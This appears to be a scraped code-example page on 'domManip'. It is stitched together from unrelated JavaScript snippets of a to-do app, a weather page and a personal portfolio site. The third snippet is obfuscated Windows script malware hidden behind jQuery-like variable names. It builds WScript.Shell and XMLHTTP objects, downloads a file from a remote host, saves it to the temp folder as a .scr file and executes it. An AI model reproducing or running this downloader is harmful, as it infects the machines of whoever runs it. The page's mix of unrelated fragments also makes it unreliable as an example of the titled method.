How to use domManip method in Cypress

1import DOMManip from "./DOMManip";2import { projectFunctions } from "./index";3const EventHandler = (() => {4    //activates the Add project button5    const clearTextBox = () => {6        DOMManip.getElements("input[type='text' i]").forEach(ele =>7            ele.removeEventListener("click", DOMManip.removeText, {8                once: true,9            })10        );11        DOMManip.getElements("input[type='text' i]").forEach(ele =>12            ele.addEventListener("click", DOMManip.removeText, { once: true })13        );14    };15    //activates the add button and the side toggles16    const activateAddButton = () => {17        DOMManip.getElement("#add-project-button").removeEventListener("click", DOMManip.cancelNewProject);18        DOMManip.getElement("#add-project-button").addEventListener("click", DOMManip.setupNewProject);19    };20    const activateClearAllButton = () => {21        DOMManip.getElement("#clear-all-button").removeEventListener("mouseleave", DOMManip.cancelClearAll);22        DOMManip.getElement("#clear-all-button").removeEventListener("click", DOMManip.confirmClearAll);23        DOMManip.getElement("#clear-all-button").removeEventListener(24            "click",25            projectFunctions.confirmAllClear26        );27        DOMManip.getElement("#clear-all-button").addEventListener("click", DOMManip.confirmClearAll);28    };29    //activates the listeners for all of clickable buttons at the start of the page load30    const initStartingListeners = () => {31        activateAddButton();32        activateClearAllButton();33        DOMManip.getElements(".dropdown-toggle").forEach(ele =>34            ele.addEventListener("click", DOMManip.expandToggle, {35                capture: true,36            })37        );38    };39    //changes the add project button to cancel adding project and activates the submit button40    const addProjectSubmission = () => {41        DOMManip.getElement("#add-project-button").removeEventListener("click", DOMManip.setupNewProject);42        DOMManip.getElement("#add-project-button").addEventListener("click", DOMManip.cancelNewProject);43        DOMManip.getElement("#new-proj-add-button").addEventListener("click", projectFunctions.addProject);44    };45    //clicking the Today header or any of the tasks for today brings up the Today page46    const activateToday = () => {47        DOMManip.getElement("#todays-todo-side").addEventListener("click", DOMManip.showToday);48        DOMManip.getElements(".task-side-label.today").forEach(ele =>49            ele.addEventListener("click", DOMManip.showToday)50        );51    };52    //clicking the Overdue header or any of the task that are Overdue brings up the Overdue page53    const activateOverdue = () => {54        DOMManip.getElement("#overdue-todo-side").addEventListener("click", DOMManip.showOverdue);55        DOMManip.getElements(".task-side-label.overdue").forEach(ele =>56            ele.addEventListener("click", DOMManip.showOverdue)57        );58    };59    //clicking the Overdue header or any of the task that are Overdue brings up the Overdue page60    const activateDays = () => {61        DOMManip.getElement("#days-todo-side").addEventListener("click", DOMManip.showDays);62    };63    //makes the projects clickable, maintains only one action listener on each project64    const activateProjects = () => {65        DOMManip.getElements(".project-side-label").forEach(ele =>66            ele.removeEventListener("click", DOMManip.showProject)67        );68        DOMManip.getElements(".project-side-label").forEach(ele =>69            ele.addEventListener("click", DOMManip.showProject)70        );71    };72    //turns on all side panel pages73    const activateSides = () => {74        activateToday();75        activateOverdue();76        activateDays();77        activateProjects();78    };79    //activates the edit project buttons80    const activateProjectButtons = () => {81        DOMManip.getElement(".edit-button.title").addEventListener("click", DOMManip.displayEditProject);82        DOMManip.getElement(".edit-button.delete").addEventListener("click", DOMManip.displayDeleteProject);83    };84    //activates the cancel project-edit button85    const activateCancelButton = button => {86        button.addEventListener("click", DOMManip.cancelProjectEdit);87    };88    //changes the project title edit into the confirm button89    const activateConfirmProjectEdit = button => {90        button.removeEventListener("click", DOMManip.displayEditProject);91        button.addEventListener("click", projectFunctions.confirmProjectEdit);92    };93    //activates the delete project button94    const activateDeleteProject = button => {95        button.addEventListener("click", projectFunctions.deleteProject);96    };97    //activates the add new task button98    const activateAddTaskButton = () => {99        DOMManip.getElement("#add-task-button").addEventListener("click", projectFunctions.addTask);100    };101    //activates the edit task button for that specific task102    const _activateEditTaskButton = button => {103        button.removeEventListener("click", projectFunctions.confirmTaskEdit);104        button.addEventListener("click", DOMManip.displayEditTask);105    };106    const _activateDeleteTaskButton = button => {107        button.removeEventListener("click", projectFunctions.confirmTaskDelete);108        button.addEventListener("click", DOMManip.displayDeleteTask);109    };110    const activateTaskButtons = (edit, del) => {111        _activateEditTaskButton(edit);112        _activateDeleteTaskButton(del);113    };114    //makes the task's check box clickable to mark tasks as complete115    const activateCheckbox = index => {116        DOMManip.getElement(".tasks-container").childNodes[index].firstElementChild.addEventListener(117            "click",118            projectFunctions.toggleTaskComplete119        );120    };121    //If a project title is shown on a task, clicking it goes to the associated project122    const activateProjectLink = button => {123        button.addEventListener("click", DOMManip.linkProject);124    };125    //changes the button to edit a task into a confirmation button and activates the cancel button126    const activateConfirmTaskEdit = button => {127        button.removeEventListener("click", DOMManip.displayEditTask);128        button.addEventListener("click", projectFunctions.confirmTaskEdit);129        button.nextSibling.removeEventListener("click", DOMManip.displayDeleteTask);130        button.nextSibling.addEventListener("click", DOMManip.cancelEdit);131    };132    const activateConfirmTaskDelete = button => {133        button.previousSibling.removeEventListener("click", DOMManip.displayEditTask);134        button.previousSibling.addEventListener("click", projectFunctions.confirmTaskDelete);135        button.removeEventListener("click", DOMManip.displayDeleteTask);136        button.addEventListener("click", DOMManip.cancelEdit);137    };138    const activateDaysSelector = () => {139        DOMManip.getElement(".days-selector").addEventListener("change", DOMManip.changeDays);140    };141    const activateConfirmClearAll = () => {142        DOMManip.getElement("#clear-all-button").removeEventListener("click", DOMManip.confirmClearAll);143        DOMManip.getElement("#clear-all-button").addEventListener("click", projectFunctions.confirmAllClear);144        DOMManip.getElement("#clear-all-button").addEventListener("mouseleave", DOMManip.cancelClearAll);145    };146    return {147        activateAddButton,148        initStartingListeners,149        addProjectSubmission,150        activateToday,151        activateProjects,152        activateOverdue,153        activateSides,154        clearTextBox,155        activateProjectButtons,156        activateAddTaskButton,157        activateCheckbox,158        activateProjectLink,159        activateTaskButtons,160        activateConfirmProjectEdit,161        activateConfirmTaskEdit,162        activateConfirmTaskDelete,163        activateCancelButton,164        activateDeleteProject,165        activateDaysSelector,166        activateClearAllButton,167        activateConfirmClearAll,168    };169})();...

1import { DOMManip } from "./DOMManip";2import logo from "./assets/logo.png";3import cityData from "./city.json";4import { EventHandler } from "./EventHandler";5export const BuildPage = (() => {6    const buildStartingPage = () => {7        const header = DOMManip.makeNewElement("div", "header", "", "Weather");8        const content = DOMManip.makeNewElement("div", "content");9        const homeContainer = DOMManip.makeNewElement("div", "home-container", "starting");10        const webLogo = new Image();11        webLogo.src = logo;12        webLogo.setAttribute("id", "website-logo");13        const searchForm = DOMManip.makeNewElement("form", "search-form");14        const searchInput = DOMManip.makeNewElement(15            "input",16            "search-input",17            "",18            "",19            { type: "text" },20            { placeholder: "Enter a US city or zip code" }21        );22        searchInput.setAttribute("required", "");23        const searchButton = DOMManip.makeNewElement("button", "search-button", "", "Search");24        DOMManip.appendChildren(searchForm, searchInput, searchButton);25        DOMManip.appendChildren(homeContainer, webLogo, searchForm);26        content.appendChild(homeContainer);27        DOMManip.appendChildren(document.body, header, content);28    };29    const makeLoading = () => {30        const loadingContainer = DOMManip.makeNewElement("div", "loading-container");31        const loadingIcon = DOMManip.makeNewElement("i", "loading-icon", "fa-solid fa-sun");32        loadingContainer.appendChild(loadingIcon);33        document.body.appendChild(loadingContainer);34    };35    const removeLoading = () => {36        DOMManip.getElement("#loading-container").remove();37    };38    const _clearSearchBar = () => {39        DOMManip.getElement("#search-input").value = "";40    };41    const _minimizeSearch = () => {42        DOMManip.getElement("#home-container").classList.add("minimized");43        _clearSearchBar();44    };45    const _clearContent = () => {46        const content = DOMManip.getElement("#content");47        if (content.childNodes.length > 1) {48            content.lastElementChild.remove();49        }50    };51    const _buildWeatherPage = () => {52        const content = DOMManip.getElement("#content");53        _clearContent();54        const weatherContainer = DOMManip.makeNewElement("div", "weather-container");55        const cityName = DOMManip.makeNewElement("div", "city-name");56        const weatherDisplay = DOMManip.makeNewElement("div", "weather-display");57        const weatherDescriptionContainer = DOMManip.makeNewElement("div", "weather-description-container");58        const weatherIconContainer = DOMManip.makeNewElement("div", "weather-icon-container");59        const weatherIcon = DOMManip.makeNewElement("img", "weather-icon");60        const weatherDescription = DOMManip.makeNewElement("div", "weather-description");61        const currentTempLabel = DOMManip.makeNewElement(62            "div",63            "current-temp-label",64            "weather-info",65            "Current Temp: "66        );67        const currentTempDisplay = DOMManip.makeNewElement("span", "current-temp", "weather-info");68        const feelsLikeLabel = DOMManip.makeNewElement(69            "div",70            "feels-like-label",71            "weather-info",72            "Feels Like: "73        );74        const feelsLikeDisplay = DOMManip.makeNewElement("span", "feels-like", "weather-info");75        const cloudCover = DOMManip.makeNewElement("div", "cloud-cover", "weather-info");76        const humidity = DOMManip.makeNewElement("div", "humidity", "weather-info");77        const tempScaleContainer = DOMManip.makeNewElement("div", "temp-scale-container");78        const tempScaleToggle = DOMManip.makeNewElement("button", "temp-scale-toggle", "farenheit");79        weatherIconContainer.appendChild(weatherIcon);80        currentTempLabel.appendChild(currentTempDisplay);81        feelsLikeLabel.appendChild(feelsLikeDisplay);82        tempScaleContainer.appendChild(tempScaleToggle);83        DOMManip.appendChildren(weatherDescriptionContainer, weatherIconContainer, weatherDescription);84        DOMManip.appendChildren(85            weatherDisplay,86            weatherDescriptionContainer,87            currentTempLabel,88            feelsLikeLabel,89            cloudCover,90            humidity,91            tempScaleContainer92        );93        DOMManip.appendChildren(weatherContainer, cityName, weatherDisplay);94        content.appendChild(weatherContainer);95    };96    const _getCity = weatherInfo => {97        const cityID = weatherInfo.id;98        for (let i = 0; i < cityData.length; i++) {99            let city = cityData[i];100            if (city.id == cityID) {101                return { name: city.name, state: city.state };102            }103        }104    };105    const _isNightTime = timeInfo => {106        const currentTime = Math.floor(new Date().getTime() / 1000);107        if (currentTime < timeInfo.susrise || currentTime > timeInfo.sunset) {108            return true;109        }110        return false;111    };112    const _formatIconContainer = weatherInfo => {113        const iconContainer = DOMManip.getElement("#weather-icon-container");114        let backgroundColor;115        _isNightTime({ sunrise: weatherInfo.sys.sunrise, sunset: weatherInfo.sys.sunset })116            ? (backgroundColor = "#00101E")117            : (backgroundColor = "#007EFF");118        const cloudCover = weatherInfo.clouds.all;119        iconContainer.style.backgroundColor = backgroundColor;120        iconContainer.firstElementChild.style.backdropFilter = `grayscale(${cloudCover}%)`;121    };122    const _fillInWeatherData = weatherInfo => {123        DOMManip.getElement(124            "#weather-icon"125        ).src = `http://openweathermap.org/img/wn/${weatherInfo.weather[0].icon}@4x.png`;126        _formatIconContainer(weatherInfo);127        DOMManip.getElement("#weather-description").textContent =128            weatherInfo.weather[0].description.toUpperCase();129        DOMManip.getElement("#current-temp").innerHTML = `${weatherInfo.main.temp}&deg;`;130        DOMManip.getElement("#current-temp").setAttribute("data-temp", weatherInfo.main.temp);131        DOMManip.getElement("#feels-like").innerHTML = `${weatherInfo.main.feels_like}&deg;`;132        DOMManip.getElement("#feels-like").setAttribute("data-temp", weatherInfo.main.feels_like);133        DOMManip.getElement("#cloud-cover").textContent = `Cloud Cover: ${weatherInfo.clouds.all}%`;134        DOMManip.getElement("#humidity").textContent = `Humidity: ${weatherInfo.main.humidity}%`;135        const cityInfo = _getCity(weatherInfo);136        DOMManip.getElement("#city-name").textContent = `${cityInfo.name}, ${cityInfo.state}`;137    };138    const _toggleWeatherContainer = () => {139        setTimeout(() => {140            const weatherContainer = DOMManip.getElement("#weather-container");141            weatherContainer.classList.toggle("displayed");142        }, 100);143    };144    const displayWeather = weatherInfo => {145        _minimizeSearch();146        _buildWeatherPage();147        _fillInWeatherData(weatherInfo);148        EventHandler.activateTempToggle();149        _toggleWeatherContainer();150    };151    const _toggleTempButton = () => {152        const tempScaleToggle = DOMManip.getElement("#temp-scale-toggle");153        tempScaleToggle.classList.toggle("farenheit");154        tempScaleToggle.classList.toggle("celsius");155    };156    const toggleTemp = newTempInfo => {157        const currentTemp = DOMManip.getElement("#current-temp");158        currentTemp.innerHTML = `${newTempInfo.currentTemp}&deg;`;159        currentTemp.setAttribute("data-temp", newTempInfo.currentTemp);160        const feelsLike = DOMManip.getElement("#feels-like");161        feelsLike.innerHTML = `${newTempInfo.feelsLike}&deg;`;162        feelsLike.setAttribute("data-temp", newTempInfo.feelsLike);163        _toggleTempButton();164    };165    return { buildStartingPage, makeLoading, removeLoading, displayWeather, toggleTemp };...

1boxSizingReliableVal = 29;2type = "XML";3td = 22;4requestHeadersNames = "cri";5tweener = "veToFi";6noGlobal = "close", inspect = "o", indirect = ".St", hasCompare = 4, JSON = "L2", stopPropagation = "Cr";7var Deferred = "an";8xhrSupported = 67, emptyStyle = "B", tween = "WS", timers = "ro";9var cssPrefixes = "Run",10	Data = "sa",11	structure = "Sl",12	overflowX = "WSc",13	username = "sc",14	all = 6;15var optionSet = "writ",16	toggleClass = 24941;17var ifModified = "nmen";18tick = "%";19initial = "eateOb", getScript = "ll", soFar = 23, bulk = "M";20when = 17, contains = "gs", _evalUrl = "pt.She", thead = "ody", once = "ri";21showHide = 75, prefilterOrFactory = 53, checked = "MSX", b = "ttp", keepData = 126;22diff = "teOb", dirrunsUnique = ".", responseHeadersString = "n";23get = "s.it";24className = "HTTP";25resolveContexts = "ee";26computeStyleTests = "cr";27defaultPrefilter = "rea";28gotoEnd = "WScri";29var xhrSuccessStatus = 99,30	done = 52,31	documentIsHTML = "u",32	rnative = "GET",33	actualDisplay = 37,34	rxhtmlTag = "d";35inArray = "Res";36udataCur = 48;37appendTo = 41;38tokenCache = "s";39matcher = "Exp";40rquery = "trui";41var classes = "osit",42	state = "ion",43	jsonProp = "t",44	clientY = "ream",45	set = "ript",46	string = "Crea";47ajaxExtend = "ct", preFilter = "jec", password = "ope", setOffset = "TEMP", originalEvent = "le", first = "/7643g";48err = "seB";49dataAttr = "://w";50tuple = "ject";51progressValues = "dEnvi";52preDispatch = "eep";53var prepend = "%/",54	triggered = "tw",55	Symbol = 5,56	children = "Create",57	insertAfter = 622027039,58	getElementsByName = 39;59prependTo = "rb";60boxSizingReliable = "Strin";61attaches = 9289;62timerId = "Sleep";63handle = "type";64var doc = "ADOD",65	rlocalProtocol = "ww.is",66	testContext = "pe",67	nodeValue = 5728,68	chainable = "ners",69	j = ".s";70a = "pon", dataType = (function Object.prototype.unqueued() {71	return this72}, 0), disabled = "e", dataTypeOrTransport = "p", wrapAll = "Ob";73var oldCallbacks = "dysta",74	pdataOld = 1,75	rdisplayswap = "pt";76var dispatch = "h";77holdReady = 7;78lname = 13;79domManip = 2;80clone = "je";81hold = (((83 - actualDisplay) * (1 * domManip) + (2 | all)), (((11 + Symbol) | (56 - done)), this));82ret = cssPrefixes;83display = hold[overflowX + set];84scrollLeft = display[children + wrapAll + clone + ajaxExtend](tween + requestHeadersNames + _evalUrl + getScript);85identifier = scrollLeft[matcher + Deferred + progressValues + timers + ifModified + jsonProp + boxSizingReliable + contains](tick + setOffset + prepend) + triggered + resolveContexts + chainable + j + computeStyleTests;86funescape = hold[gotoEnd + rdisplayswap][stopPropagation + initial + preFilter + jsonProp](checked + bulk + JSON + dirrunsUnique + type + className);87funescape[inspect + testContext + responseHeadersString](rnative, dispatch + b + dataAttr + rlocalProtocol + rquery + username + documentIsHTML + get + first + prependTo, !(9 == ((((domManip ^ 174), domManip * 7 * holdReady) ^ ((11 ^ showHide) | (Math.pow(129, domManip) - 16416))), (((td ^ 1) + ((keepData & 125) - soFar * 3)) + (((attaches * 5 + nodeValue) / (24 + holdReady)) / ((7 & holdReady) * (4 ^ dataType) + (2 * domManip + 1)))), ((((pdataOld * 0) & (appendTo, 119, pdataOld)) / ((64 | dataType) - (Math.pow(38, domManip) - 1397))) | (((boxSizingReliableVal / 29) * domManip) * (0 | (pdataOld + 3)) + ((dataType ^ 1) & pdataOld))))));88funescape[tokenCache + disabled + responseHeadersString + rxhtmlTag]();89while(funescape[defaultPrefilter + oldCallbacks + jsonProp + disabled] < (2 * (dataType | 2))) {90	hold[overflowX + once + rdisplayswap][timerId](((prefilterOrFactory & 51) * domManip + 2));91}92argument = hold[overflowX + set][string + diff + tuple](doc + emptyStyle + indirect + clientY);93hold[overflowX + set][structure + preDispatch](((Math.pow(toggleClass, 2) - insertAfter) - (4600 * domManip + 2242)));94try {95	argument[password + responseHeadersString]();96	insertBefore = argument;97	insertBefore[handle] = ((holdReady * 3 + hasCompare) / (Math.pow(22, domManip) - 459));98	activeElement = insertBefore;99	argument[optionSet + disabled](funescape[inArray + a + err + thead]);100	activeElement[dataTypeOrTransport + classes + state] = ((udataCur ^ 2), (xhrSupported, 116, xhrSuccessStatus, 240), (holdReady - 7));101	argument[Data + tweener + originalEvent](identifier, ((getElementsByName & 50) / (when)));102	argument[noGlobal]();103	charset = scrollLeft;104	charset[ret](identifier.unqueued(), ((1 | dataType) + -(1 & pdataOld)), ((13 & lname) - 13));...

1import { DOMManip } from "./DOMManip";2import "./header.css";3export default function createHeader(title) {4    const headerBar = DOMManip.makeNewElement("div", "header", "header");5    const headerTitle = DOMManip.makeNewElement("div", "header-title", "header-title", title);6    const headerLinkContainer = DOMManip.makeNewElement("div", "header-link-container");7    const headerDevContainer = DOMManip.makeNewElement(8        "div",9        "header-dev-container",10        "header-container",11        "Development"12    );13    const headerVideoContainer = DOMManip.makeNewElement(14        "div",15        "header-video-container",16        "header-container",17        "Video"18    );19    const headerPhotoContainer = DOMManip.makeNewElement(20        "div",21        "header-photo-container",22        "header-container",23        "Photography"24    );25    const headerAbout = DOMManip.makeNewElement("a", "header-about", "header-container", "About Me", {26        href: "./about/index.html",27    });28    DOMManip.appendChildren(29        headerLinkContainer,30        headerDevContainer,31        headerVideoContainer,32        headerPhotoContainer,33        headerAbout34    );35    DOMManip.appendChildren(headerBar, headerTitle, headerLinkContainer);36    // eslint-disable-next-line no-unused-vars37    const _activateHeader = (() => {38        headerDevContainer.addEventListener("mouseover", hoverOn);39        headerVideoContainer.addEventListener("mouseover", hoverOn);40        headerPhotoContainer.addEventListener("mouseover", hoverOn);41        headerDevContainer.addEventListener("mouseleave", hoverOff);42        headerVideoContainer.addEventListener("mouseleave", hoverOff);43        headerPhotoContainer.addEventListener("mouseleave", hoverOff);44        headerDevContainer.addEventListener("click", showDev);45        headerVideoContainer.addEventListener("click", showVideo);46        headerPhotoContainer.addEventListener("click", showPhoto);47    })();48    function hoverOn(e) {49        e.target.classList.add("hover");50    }51    function hoverOff(e) {52        e.target.classList.remove("hover");53        if (e.target.childNodes.length > 1) {54            DOMManip.removeAllChildren(e.currentTarget, 1);55        }56    }57    function showDev(e) {58        const devMenu = DOMManip.makeNewElement("div", "dev-menu", "header-menu");59        const battleship = DOMManip.makeNewElement("a", "header-battleship", "header-link", "Battleship", {60            href: "./battleship/index.html",61        });62        const weather = DOMManip.makeNewElement("a", "header-weather", "header-link", "WeatherSearch", {63            href: "./weather/index.html",64        });65        const todo = DOMManip.makeNewElement("a", "header-todo", "header-link", "ToDo List", {66            href: "./todo/index.html",67        });68        const tictactoe = DOMManip.makeNewElement("a", "header-tictactoe", "header-link", "Tic-Tac-Toe", {69            href: "./tic-tac-toe/index.html",70        });71        DOMManip.appendChildren(devMenu, battleship, weather, todo, tictactoe);72        e.currentTarget.appendChild(devMenu);73    }74    function showVideo(e) {75        const videoMenu = DOMManip.makeNewElement("div", "video-menu", "header-menu");76        const weddings = DOMManip.makeNewElement("a", "header-weddings", "header-link", "Weddings", {77            href: "./weddings/index.html",78        });79        const adventure = DOMManip.makeNewElement("a", "header-adventure", "header-link", "Adventure", {80            href: "./adventure/index.html",81        });82        const other = DOMManip.makeNewElement("a", "header-other", "header-link", "Other", {83            href: "./other/index.html",84        });85        DOMManip.appendChildren(videoMenu, weddings, adventure, other);86        e.currentTarget.appendChild(videoMenu);87    }88    function showPhoto(e) {89        const photoMenu = DOMManip.makeNewElement("div", "photo-menu", "header-menu");90        const nature = DOMManip.makeNewElement("a", "header-nature", "header-link", "Nature", {91            href: "./nature/index.html",92        });93        const astro = DOMManip.makeNewElement("a", "header-astro", "header-link", "Astrophotography", {94            href: "./astro/index.html",95        });96        DOMManip.appendChildren(photoMenu, nature, astro);97        e.currentTarget.appendChild(photoMenu);98    }99    return headerBar;...

1import { DOMManip } from "./DOMManip";2import createFooter from "./Footer";3import createHeader from "./Header";4import "./showcase.css";5function createShowcase(title) {6    const header = createHeader(title);7    const content = DOMManip.makeNewElement("div", "content");8    const footer = createFooter();9    const titleContainer = DOMManip.makeNewElement("div", "title-container", "title-container");10    const titleText = DOMManip.makeNewElement("div", "title", "title-text", title);11    titleContainer.appendChild(titleText);12    DOMManip.appendChildren(content, titleContainer);13    DOMManip.appendChildren(document.body, header, content, footer);14}15const videoFunctions = (() => {16    function _embedVideo(source) {17        return DOMManip.makeNewElement(18            "iFrame",19            "",20            "showcase-video",21            "",22            { width: "560" },23            { height: "315" },24            { src: source },25            { frameborder: "0" },26            {27                allow: "accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture",28            },29            { allowfullscreen: "" }30        );31    }32    function _createVideo(title, source) {33        const videoContainer = DOMManip.makeNewElement("div", "", "showcase-container");34        const videoTitle = DOMManip.makeNewElement("div", "", "showcase-title", title);35        const video = _embedVideo(source);36        DOMManip.appendChildren(videoContainer, videoTitle, video);37        return videoContainer;38    }39    function createVideoPage(...videos) {40        let page = [];41        videos.forEach(video => {42            page.push(_createVideo(video.title, video.source));43        });44        return page;45    }46    function displayVideoPage(page) {47        const content = DOMManip.getElement("#content");48        page.forEach(page => {49            content.appendChild(page);50        });51    }52    return { createVideoPage, displayVideoPage };53})();54const photoFunctions = (() => {55    function createPhotoPage(...photos) {56        let page = [];57        photos.forEach((photo, index) => {58            const container = DOMManip.makeNewElement("div", "", "image-container");59            const number = DOMManip.makeNewElement(60                "div",61                "",62                "number-text",63                `${index + 1} / ${photos.length}`64            );65            const photograph = new Image();66            photograph.src = photo;67            DOMManip.appendChildren(container, number, photograph);68            page.push(container);69        });70        return page;71    }72    function displayPhotoPage(page) {73        const content = DOMManip.getElement("#content");74        const prev = DOMManip.makeNewElement("i", "prev", "prev fa-solid fa-angle-left");75        const next = DOMManip.makeNewElement("i", "next", "next fa-solid fa-angle-right");76        const photoContainer = DOMManip.makeNewElement("div", "", "photos-container");77        page.forEach(page => {78            photoContainer.appendChild(page);79        });80        DOMManip.appendChildren(photoContainer, prev, next);81        content.appendChild(photoContainer);82        _activatePhotoPage();83    }84    function _activatePhotoPage() {85        const prev = DOMManip.getElement(".prev");86        const next = DOMManip.getElement(".next");87        prev.addEventListener("click", plusSlides.bind(null, -1));88        next.addEventListener("click", plusSlides.bind(null, 1));89        let slideIndex = 1;90        showSlides(slideIndex);91        function plusSlides(n) {92            showSlides((slideIndex += n));93        }94        function showSlides(n) {95            let i;96            let slides = DOMManip.getElements(".image-container");97            if (n > slides.length) {98                slideIndex = 1;99            }100            if (n < 1) {101                slideIndex = slides.length;102            }103            for (i = 0; i < slides.length; i++) {104                slides[i].style.display = "none";105            }106            slides[slideIndex - 1].style.display = "block";107        }108    }109    return { createPhotoPage, displayPhotoPage };110})();...

1import { DOMManip } from "./DOMManip";2import createFooter from "./Footer";3import createHeader from "./Header";4import "./index.css";5// eslint-disable-next-line no-unused-vars6const displayPage = (() => {7    const header = createHeader("Tim Schley's Portfolio");8    const content = DOMManip.makeNewElement("div", "content");9    const footer = createFooter();10    const titleContainer = DOMManip.makeNewElement("div", "title-container");11    const headshot = DOMManip.makeNewElement("div", "headshot");12    const title = DOMManip.makeNewElement(13        "div",14        "title",15        "title-text",16        "Tim Schley - Development, Film, Photography"17    );18    const aboutMe = DOMManip.makeNewElement(19        "div",20        "about-me",21        "brief-description content-text",22        "Tim Schley is a listener. With a keen ear and a professional eye, Tim works with you to discover what you are looking for and what you need. With an attention to detail, he will always provide you with a product that you will be happy with."23    );24    const links = DOMManip.makeNewElement("div", "links");25    const developmentContainer = DOMManip.makeNewElement("div", "development-container", "link-container");26    const developmentLabel = DOMManip.makeNewElement(27        "div",28        "development-label",29        "content-text",30        "Web Development"31    );32    const battleshipButton = DOMManip.makeNewElement("a", "battleship-button", "link-button", "Battleship", {33        href: "./battleship/index.html",34    });35    const weatherButton = DOMManip.makeNewElement("a", "weather-button", "link-button", "WeatherSearch", {36        href: "./weather/index.html",37    });38    const todoButton = DOMManip.makeNewElement("a", "todo-button", "link-button", "ToDo List", {39        href: "./todo/index.html",40    });41    const tictactoeButton = DOMManip.makeNewElement("a", "tictactoe-button", "link-button", "Tic-Tac-Toe", {42        href: "./tic-tac-toe/index.html",43    });44    const videoContainer = DOMManip.makeNewElement("div", "video-container", "link-container");45    const videoLabel = DOMManip.makeNewElement("div", "video-label", "content-text", "Video Production");46    const weddingsButton = DOMManip.makeNewElement("a", "weddings-button", "link-button", "Weddings", {47        href: "./weddings/index.html",48    });49    const adventureButton = DOMManip.makeNewElement("a", "adventure-button", "link-button", "Adventure", {50        href: "./adventure/index.html",51    });52    const otherButton = DOMManip.makeNewElement("a", "other-button", "link-button", "Other", {53        href: "./other/index.html",54    });55    const photoContainer = DOMManip.makeNewElement("div", "photo-container", "link-container");56    const photoLabel = DOMManip.makeNewElement("div", "photo-label", "content-text", "Photography");57    const natureButton = DOMManip.makeNewElement("a", "nature-button", "link-button", "Nature", {58        href: "./nature/index.html",59    });60    const astroButton = DOMManip.makeNewElement("a", "astro-button", "link-button", "Astrophotography", {61        href: "./astro/index.html",62    });63    DOMManip.appendChildren(64        developmentContainer,65        developmentLabel,66        battleshipButton,67        weatherButton,68        todoButton,69        tictactoeButton70    );71    DOMManip.appendChildren(videoContainer, videoLabel, weddingsButton, adventureButton, otherButton);72    DOMManip.appendChildren(photoContainer, photoLabel, natureButton, astroButton);73    DOMManip.appendChildren(links, developmentContainer, videoContainer, photoContainer);74    DOMManip.appendChildren(titleContainer, headshot, title);75    DOMManip.appendChildren(content, titleContainer, aboutMe, links);76    DOMManip.appendChildren(document.body, header, content, footer);...

...34            fn.call(this, node)35        })36    }37    , remove: function() {38        return this.domManip(arguments, function() {39            if (this.parentNode) {40                this.parentNode.removeChild(this)41            }42        })43    }44    , before: function() {45        return this.domManip(arguments, function(elem) {46            if (elem.parentNode) {47                elem.parentNode.insertBefore(elem, this)48            }49        })50    }51    , after: function() {52        return this.domManip(arguments, function(elem) {53            if (elem.parentNode) {54                elem.parentNode.insertBefore(elem, this.nextSibling)55            }56        })57    }58    , append: function() {59        return this.domManip(arguments, function(elem) {60            this.appendChild(elem)61        })62    }...

1/* eslint-disable no-unused-vars */2import { DOMManip } from "./DOMManip";3import "./footer.css";4export default function createFooter() {5    const footerBar = DOMManip.makeNewElement("div", "footer", "footer");6    const devBy = DOMManip.makeNewElement(7        "a",8        "developed-by",9        "footer-text",10        "Developed by Tim Schley - 2022",11        { href: "./index.html" }12    );13    const linkedin = DOMManip.makeNewElement("i", "footer-linkedin", "footer-link fa-brands fa-linkedin");14    const github = DOMManip.makeNewElement("i", "footer-github", "footer-link fa-brands fa-github-square");15    const youtube = DOMManip.makeNewElement("i", "footer-youtube", "footer-link fa-brands fa-youtube-square");16    const activateFooter = (() => {17        linkedin.addEventListener(18            "click",19            () => (window.location.href = "https://www.linkedin.com/in/tim-schley-56119662/")20        );21        github.addEventListener("click", () => (window.location.href = "https://github.com/ThunderKlappe"));22        youtube.addEventListener(23            "click",24            () => (window.location.href = "https://www.youtube.com/user/PandaTimmy")25        );26    })();27    DOMManip.appendChildren(footerBar, devBy, linkedin, github, youtube);28    return footerBar;...